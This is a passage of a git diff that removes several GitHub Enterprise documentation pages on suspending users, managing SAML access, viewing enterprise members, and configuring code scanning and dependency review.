**Unsuspend**. -1. In the "Log reason" field, type a reason to unsuspend the user. -1. Click **Unsuspend.** - -## Suspending a user from the command line - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Run [ghe-user-suspend](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-user-suspend) with the username to suspend. - - ```shell - ghe-user-suspend USERNAME - ``` - -## Creating a custom message for suspended users - -You can create a custom message that suspended users will see when attempting to sign in. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.messages-tab %} -1. To the right of "Suspended user page", click **Add message**. - - ![Screenshot of the "Suspend user page" section of the "Messages" settings. A button, labeled with a plus icon and "Add message," is outlined.](/assets/images/enterprise/site-admin-settings/add-message.png) -1. In the "Suspend user message" field, type your message. You can type Markdown, or use the Markdown toolbar to style your message. -1. To see the rendered message, click **Preview**. -{% data reusables.enterprise_site_admin_settings.save-changes %} - -## Unsuspending a user from the command line - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Run [ghe-user-unsuspend](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-user-unsuspend) with the username to unsuspend. - - ```shell - ghe-user-unsuspend USERNAME - ``` - -## Further reading - -* [AUTOTITLE](/rest/enterprise-admin/users#suspend-a-user) diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md deleted file mode 100644 index 103ada12a4a6..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Viewing and managing a user's SAML access to your enterprise -intro: 'You can view and revoke an enterprise member''s {% ifversion ghec %}linked identity, active sessions, and authorized credentials{% else %}active SAML sessions{% endif %}.' -permissions: Enterprise owners -product: '{% ifversion ghes %}Instances that have configured SCIM provisioning{% endif %}' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -topics: - - Enterprise -shortTitle: View & manage SAML access ---- - -## About SAML access to your enterprise account - -When you enable SAML single sign-on for your enterprise account, each enterprise member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %} - -{% ifversion ghec %} - -If your enterprise is uses {% data variables.product.prodname_emus %}, your members will use accounts provisioned through your IdP. {% data variables.enterprise.prodname_managed_users_caps %} will not use their existing user account on {% data variables.product.github %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -{% ifversion ghec %} - -## Viewing and revoking a linked identity - -{% data reusables.saml.about-linked-identities %} - -If your enterprise uses {% data variables.product.prodname_emus %}, you will not be able to deprovision or remove user accounts from the enterprise via {% data variables.product.github %}. Any changes you need to make to your enterprise's {% data variables.enterprise.prodname_managed_users %} should be made through your IdP. - -{% data reusables.identity-and-permissions.revoking-identity-team-sync %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-identity %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-sso-identity %} -{% data reusables.saml.revoke-sso-identity %} -{% data reusables.saml.confirm-revoke-identity %} - -{% endif %} - -## Viewing and revoking an active SAML session - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-session %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-saml-sessions %} -{% data reusables.saml.revoke-saml-session %} - -{% ifversion ghec %} - -## Viewing and revoking authorized credentials - -{% data reusables.saml.about-authorized-credentials %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.saml.click-person-revoke-credentials %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-authorized-credentials %} -{% data reusables.saml.revoke-authorized-credentials %} -{% data reusables.saml.confirm-revoke-credentials %} - -## Further reading - -* [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) - -{% endif %} diff --git a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md deleted file mode 100644 index d084be88b74c..000000000000 --- a/content/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Viewing people in your enterprise -intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.' -permissions: Enterprise owners can view the people in an enterprise. -redirect_from: - - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account - - /articles/viewing-people-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/viewing-people-in-your-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/viewing-people-in-your-enterprise - - /admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -shortTitle: View people in your enterprise ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -## About the list of people in your enterprise - -To audit access to your enterprise's resources and manage license usage, you can see a list of all the people who have access to your enterprise. - -You can see all current enterprise members and enterprise administrators{% ifversion ghec %}, as well as pending invitations to become members and administrators{% endif %}. To make it easier to consume this information, you can search and filter the lists. You can also view an overview of the number of members in your enterprise, grouped by role{% ifversion ghec %}, type of license, or type of deployment{% endif %}. - -{% ifversion ghec %} - -If {% data variables.product.prodname_github_connect %} is configured for your enterprise, when you filter a list of people in your enterprise, the following limitations apply. - -* The filter for two-factor authentication (2FA) status does not show people who only have an account on a {% data variables.product.prodname_ghe_server %} instance. -* If you combine the filter for accounts on {% data variables.product.prodname_ghe_server %} instances with either the filter for organizations or 2FA status, you will not see any results. - -For more information about {% data variables.product.prodname_github_connect %}, see [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect) in the {% data variables.product.prodname_ghe_server %} documentation. - -{% endif %} - -{% ifversion enterprise-member-csv %} -You can also export membership information for your enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise). -{% endif %} - -## Viewing enterprise administrators - -You can view all the current enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise. You can see useful information about each administrator{% ifversion ghec %} and filter the list by role{% endif %}. You can find a specific person by searching for their username or display name. - -{% ifversion ghes %} -Enterprise owners whose accounts are suspended are included in the list of enterprise administrators, and are identified as suspended. You should consider demoting any suspended owners you see. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#demoting-a-site-administrator-from-the-enterprise-settings). -{% endif %} - -You can also remove an administrator. For more information. see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#removing-an-enterprise-administrator-from-your-enterprise-account). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% data reusables.enterprise-accounts.administrators-tab %} - -## Viewing members - -You can see all the current members for your enterprise. You can see useful information about each account and filter the list in useful ways, such as by role. In addition to the list of members, you will see an overview of the number of members in your enterprise, grouped by role{% ifversion ghec %}, type of license, and type of deployment{% endif %}. - -You can find a specific person by searching for the person's username or display name. To view more information about the person's access to your enterprise, such as the organizations the person belongs to, you can click the person's name. - -{% ifversion remove-enterprise-members %} -You can also remove any enterprise member from all organizations owned by the enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise). -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -{% ifversion enterprise-member-csv %} -1. Optionally, to export the list of members as a CSV report, click **CSV report**. For more information about the information included in the report, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise).{% endif %} - -### About the membership overview - -On the "Members" page, you will find an overview of the number of members in your enterprise, grouped by role{% ifversion ghec %}, type of license consumed, and the type of deployment the member is on. The following sections explain how the numbers in this overview are calculated. - -If your enterprise uses both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, to get accurate data about your members and licenses across your deployments, you will need to enable {% data variables.product.prodname_github_connect %} and synchronize license usage. For more information, see [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect) in the {% data variables.product.prodname_ghe_server %} documentation. - -#### Roles - -The "Roles" column groups members by their role in the enterprise{% endif %}. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise). - -If a user has multiple roles in an enterprise, the user is counted once for each role. For example, if the same user is a member of three organizations and an owner of two organizations, the user counts once towards "Organization member" and once towards "Organization owner." - -An "outside collaborator" is a user who has access to a repository in an organization, but is not a member of the organization. The user might be an outside collaborator in one organization in your enterprise and a member of another organization. In this case, the user counts towards each total. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization). - -If your enterprise uses {% ifversion ghec %}{% data variables.enterprise.prodname_managed_users %}{% else %}SCIM provisioning{% endif %}, an "unaffiliated" user is someone who been provisioned with a user account, but is not a member of any of your organizations. - -{% ifversion ghec %} - -#### User licenses consumed - -The "User licenses consumed" column shows you how licenses are consumed in your enterprise. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise). - -If there are outside collaborators in your enterprise, the "total consumed" number of licenses may be larger than the number of people listed for your enterprise. An outside collaborator consumes a license, but is not counted in the total member count displayed next to "people in YOUR-ENTERPRISE". A pending invitation to an outside collaborator also consumes a license, but is not counted in the "By invitations" count in the overview. - -For more information about how license usage is calculated across deployments, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise#about-the-calculation-of-consumed-licenses). - -#### Deployment - -The "Deployment" column groups users by the type of deployment they are using. For more information, see [AUTOTITLE](/admin/overview/about-github-for-enterprises#about-deployment-options). - -"Cloud members" are a member or owner of any organization in your enterprise on {% data variables.product.prodname_ghe_cloud %}. "Server members" have an account on a {% data variables.product.prodname_ghe_server %} instance owned by your enterprise. "Members on cloud and server" are users who match both these criteria. -{% endif %} - -{% ifversion ghec %} - -## Viewing members' email addresses - -You may be able to view the email addresses for members of your enterprise on either {% data variables.product.github %} or an external identity system. The visibility of the email addresses depends on your enterprise's authentication method, domains, and potentially the member's user profile configuration. - -* If you use {% data variables.product.prodname_emus %} and the `NameID` for your SAML configuration is an email address, you can view the `NameID` for each of your enterprise members. - -* If you verify a domain for your enterprise, you can view members' email addresses for the verified domain. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). - -* If you don't use {% data variables.product.prodname_emus %}, and you also don't configure SAML single sign-on (SSO), members access your enterprise's resources on {% data variables.product.github %} solely using a personal account. {% data reusables.saml.personal-accounts-determine-email-visibility %} - -If you use {% data variables.product.prodname_emus %}, verify a domain, or configure SAML SSO for your enterprise, you may be able to view the email addresses in one or more of the following ways. - -1. On your SAML Identity Provider (IdP), review the email addresses of users with access to your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). -1. Export the membership report for your enterprise on {% data variables.product.prodname_dotcom %}. The report may contain the user's email address, stored as the following values. - - * `GitHub com saml name`: The `NameID` from the user's linked SAML identity, which is typically the user's email address (for more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference)) - * `GitHub com verified domain emails`: Email addresses for any verified domains (for more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)) - - For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise). -{% data reusables.saml.use-api-to-get-externalidentity %} - -{% endif %} - -## Viewing outside collaborators - -You can see all the current outside collaborators for your enterprise. You can see useful information about each collaborator and filter the list in useful ways, such as by organization. You can find a specific collaborator by searching for their username or display name. - -You can view more information about the person's access to your enterprise, such as a list of all the repositories the collaborator has access to, by clicking on the person's name. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Outside collaborators**. - -{% ifversion ghec %} - -## Viewing pending invitations - -You can see all the pending invitations to become members, administrators, or outside collaborators in your enterprise. You can filter the list in useful ways, such as by license, by organization, or by source. You can find a specific person by searching for their username or display name. - -In the list of pending members, for any individual account, you can cancel all invitations to join organizations owned by your enterprise. This does not cancel any invitations for that same person to become an enterprise administrator or outside collaborator. - -> [!NOTE] -> If an invitation was provisioned via SCIM, you must cancel the invitation via your identity provider (IdP) instead of on {% data variables.product.prodname_dotcom %}. - -If you use {% data variables.visual_studio.prodname_vss_ghe %}, the list of pending invitations includes all {% data variables.product.prodname_vs %} subscribers that haven't joined any of your organizations on {% data variables.product.prodname_dotcom %}, even if the subscriber does not have a pending invitation to join an organization. For more information about how to get {% data variables.product.prodname_vs %} subscribers access to {% data variables.product.prodname_enterprise %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Invitations**. -1. Optionally, you can cancel all invitations for an account to join organizations owned by your enterprise. To the right of the account, click {% octicon "kebab-horizontal" aria-label="Show actions" %}, then click **Cancel invitation**. - - ![Screenshot of a single invitation on the "Invitations" page. A button, titled "Cancel invitation", is highlighted with an orange outline.](/assets/images/help/enterprises/cancel-enterprise-member-invitation.png) -1. Optionally, you can view pending invitations for enterprise administrators or outside collaborators. Under "Invitations", click **Administrators** or **Outside collaborators**. -1. Optionally, to filter the list of pending invitations by license, by organization, or by source, use the dropdown menus at the top of the list. - - ![Screenshot of the "Invitations" page. Three dropdown menus, titled "License", "Organizations", and "Source" are highlighted with an orange outline.](/assets/images/help/enterprises/enterprise-filter-pending-invitations.png) - -{% endif %} - -## Viewing suspended members - -If your enterprise uses {% ifversion ghec %}{% data variables.product.prodname_emus %}{% else %}SCIM provisioning{% endif %}, you can view suspended users. Suspended users are members who have been deprovisioned after being unassigned from the application or deleted on the identity provider. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Under "People", click **Suspended**. - -## Viewing dormant users - -You can view a list of all dormant users {% ifversion ghes %} who have not been suspended and {% endif %}who are not site administrators. {% data reusables.enterprise-accounts.dormant-user-activity-threshold %} For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users). - -## Filtering by member type{% ifversion ghec %} in an {% data variables.enterprise.prodname_emu_enterprise %}{% endif %} - -{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% elsif ghes %}You{% endif %} can filter the member list of an organization by type to determine if memberships are managed through an IdP or managed directly. Memberships managed through an IdP were added through an IdP group, and the IdP group was connected to a team within the organization. Memberships managed directly were added to the organization manually. The way a membership is managed in an organization determines how it must be removed. You can use this filter to determine how members were added to an organization, so you know how to remove them.{% ifversion ghec %} For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#about-organization-membership-management).{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -1. Under "Organizations", in the search bar, begin typing the organization's name until it appears in the search results. -1. Click the name of the organization. -1. Above the organization name, click **{% octicon "person" aria-hidden="true" %} People**. - - ![Screenshot of the tabs above an organization name. The "People" tab is highlighted with an orange outline.](/assets/images/help/enterprises/emu-organization-people-tab.png) -1. Above the list of members, click **Type**, then select the type of members you want to view. - ![Screenshot of the list of members. A dropdown menu labeled "Type" is outlined and expanded.](/assets/images/help/enterprises/filter-by-member-type.png) - -{% ifversion scim-for-ghes-public-beta %} - -## Filtering by account type (SAML and SCIM) - -If you use SAML authentication and SCIM provisioning, you can filter members based on how they authenticate and how their account was created. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. Select **Account Type**, then choose from the following options. - - * **Built-in:** Users with local accounts on {% data variables.location.product_location %} who authenticate with a username and password. - * **SAML linked:** Users who authenticate with SAML via an identity provider, but were not provisioned by SCIM. - * **SAML and SCIM linked:** Users who authenticate with SAML via an identity provider, and were provisioned by SCIM. - -{% endif %} - -## Viewing members without an email address from a verified domain - -You can view a list of members in your enterprise who don't have an email address from a verified domain associated with their user account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.verified-domains-tab %} -1. Under "Notification preferences", click the **{% octicon "eye" aria-hidden="true" %} View enterprise members without an approved or verified domain email** link. - -## Viewing whether members in your enterprise have 2FA enabled - -{% ifversion fpt or ghec %} - -You can see which people in your enterprise have enabled two-factor authentication. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. To view the two-factor authentication security levels of enterprise members, on the right, select **Two-factor authentication**, then click **Secure**, **Insecure**, or **Disabled**. - - ![Screenshot of the list of enterprise members. A dropdown menu, labeled "Two-factor authentication", is expanded and outlined in orange.](/assets/images/help/2fa/filter-enterprise-members-by-2fa.png) - -{% else %} - -You can see which people in your enterprise have enabled two-factor authentication{% ifversion mandatory-2fa-required-overview %} or are required to do so{% endif %}. - -{% ifversion mandatory-2fa-required-overview %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.people-tab %} -1. To view enterprise members who have enabled or disabled two-factor authentication, on the right, select **2FA**, then click **Enabled** or **Disabled**. - - ![Screenshot of the list of organization members. A dropdown menu, labeled "2FA", is expanded and outlined in orange.](/assets/images/help/2fa/legacy-filter-org-members-by-2fa.png) - -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/content/admin/managing-code-security/index.md b/content/admin/managing-code-security/index.md deleted file mode 100644 index cd0a3494a912..000000000000 --- a/content/admin/managing-code-security/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing a secure coding environment for your enterprise -allowTitleToDifferFromFilename: true -shortTitle: Secure coding -intro: 'You can build security into your developers'' workflow with features that keep secrets and vulnerabilities out of your codebase, and that maintain your software supply chain.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /managing-github-advanced-security-for-your-enterprise - - /managing-supply-chain-security-for-your-enterprise - - /securing-your-enterprise -redirect_from: - - /admin/code-security ---- diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md deleted file mode 100644 index f949fb3b886d..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: '{% ifversion ghes %}Configuring code scanning for your appliance{% elsif default-setup-self-hosted-runners-GHEC %}Configuring self-hosted runners for code scanning in your enterprise{% endif %}' -shortTitle: Configuring code scanning -intro: 'You can enable, configure, and disable {% data variables.product.prodname_code_scanning %} for your enterprise{% ifversion default-setup-self-hosted-runners-GHEC %} without {% data variables.product.prodname_dotcom %}-hosted runners{% endif %}. {% data variables.product.prodname_code_scanning_caps %} allows users to scan code for vulnerabilities and errors.' -allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /enterprise/admin/configuration/configuring-code-scanning-for-your-appliance - - /admin/configuration/configuring-code-scanning-for-your-appliance - - /admin/advanced-security/configuring-code-scanning-for-your-appliance - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Advanced Security - - Code scanning - - Enterprise - - Security ---- -<!--The CodeQL CLI man pages include a link to a section in this article. If you rename this article, -make sure that you also update the MS short link: https://aka.ms/code-scanning-docs/configuring-ghes.--> - -{% ifversion ghes %} - -## About {% data variables.product.prodname_code_scanning %} - -{% data reusables.code-scanning.about-code-scanning %} - -You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_caps %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The bullets below summarize the options available to users when you configure {% data variables.location.product_location_enterprise %} to allow {% data variables.product.prodname_code_scanning %} using actions. - -{% data reusables.code-scanning.enabling-options %} - -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.advanced-security.check-for-ghas-license %} - -## Prerequisites for {% data variables.product.prodname_code_scanning %} - -* A license for {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% endif %}{% data variables.product.prodname_GHAS %}, (see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)) - -* {% data variables.product.prodname_code_scanning_caps %} enabled in the management console (see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise)) - -* A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. - -<!-- Anchor to maintain the CodeQL CLI manual pages link: https://aka.ms/code-scanning-docs/configuring-ghes --> - -<a name="running-code-scanning-using-github-actions"></a> - -## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} - -### Provisioning a self-hosted runner - -{% elsif default-setup-self-hosted-runners-GHEC %} - -## Provisioning a self-hosted runner - -> [!NOTE] -> * If your enterprise uses {% data variables.product.prodname_dotcom %}-hosted runners with {% data variables.product.prodname_actions %}, proceed directly to configuring {% data variables.product.prodname_code_scanning %} through {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). -> * With the exception of Swift analysis, default setup can now run on {% data variables.actions.hosted_runners %}. See [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/about-larger-runners) and [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup). - -{% endif %} - -{% data variables.product.github %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -{% ifversion default-setup-self-hosted-runners-GHEC %} -If you are provisioning a self-hosted runner for {% data variables.product.prodname_codeql %} analysis, your runner must use a {% data variables.product.prodname_codeql %}-supported operating system version and CPU architecture. See the [{% data variables.product.prodname_codeql %} system requirements](https://codeql.github.com/docs/codeql-overview/system-requirements/). - -If you are using default setup for {% data variables.product.prodname_code_scanning %}, you can assign self-hosted runners {% ifversion code-scanning-default-setup-customize-labels %}with the default `code-scanning` label, or you can optionally give them custom labels so that individual repositories can use different runners.{% else %}with the `code-scanning` label.{% endif %} See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#assigning-labels-to-runners). - -For information about using default setup for code scanning analysis of compiled languages, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/codeql-code-scanning-for-compiled-languages). - -{% endif %} - -You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. - -{% ifversion default-setup-self-hosted-runners-GHEC or ghes %} - -> [!NOTE] -> If you use {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} to analyze code written in Python in your enterprise, you must make sure that your self-hosted runner has Python 3 installed. - -{% endif %} - -{% ifversion ghes %} - -### Provisioning a runner scale set - -You can use {% data variables.product.prodname_actions_runner_controller %} to create a dedicated runner scale set for your {% data variables.product.prodname_ghe_server %} instance. See [AUTOTITLE](/enterprise-server@latest/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#using-arc-with-dependabot-and-code-scanning). - -### Provisioning the actions for {% data variables.product.prodname_code_scanning %} - -{% ifversion ghes %} -If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. - -The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If both {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} and your {% data variables.product.prodname_actions %} runner have access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} {% data variables.product.codeql_cli_ghes_recommended_version %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the latest released version of the {% data variables.product.prodname_codeql %} analysis bundle available locally. See [Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access) below. - -You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. See [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions) below. - -### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access - -If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). - -If you configure the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. - -{% endif %} - -### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} - -1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. See [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect#enabling-github-connect). -1. You'll also need to enable {% data variables.product.prodname_actions %}. See [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). -1. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. See [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). -1. Add a self-hosted runner to your repository, organization, or enterprise account. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -## Running code scanning using the {% data variables.product.prodname_codeql_cli %} - -If you don't want to use {% data variables.product.prodname_actions %}, you should run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %}. - -The {% data variables.product.prodname_codeql_cli %} is a command-line tool that you use to analyze codebases on any machine, including a third-party CI/CD system. See [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). -{% endif %} diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md deleted file mode 100644 index 62d292c2c072..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Configuring dependency review for your appliance -shortTitle: Configuring dependency review -intro: 'To help users understand dependency changes when reviewing pull requests, you can enable, configure, and disable dependency review for {% data variables.product.prodname_ghe_server %}.' -product: '{% data reusables.gated-features.dependency-review %}' -versions: - ghes: '*' -type: how_to -topics: - - Advanced Security - - Enterprise - - Dependency review - - Security -redirect_from: - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance ---- - -## About dependency review - -{% data reusables.dependency-review.feature-overview %} - -Some additional features, such as license checks, blocking of pull requests, and CI/CD integration, are available with the 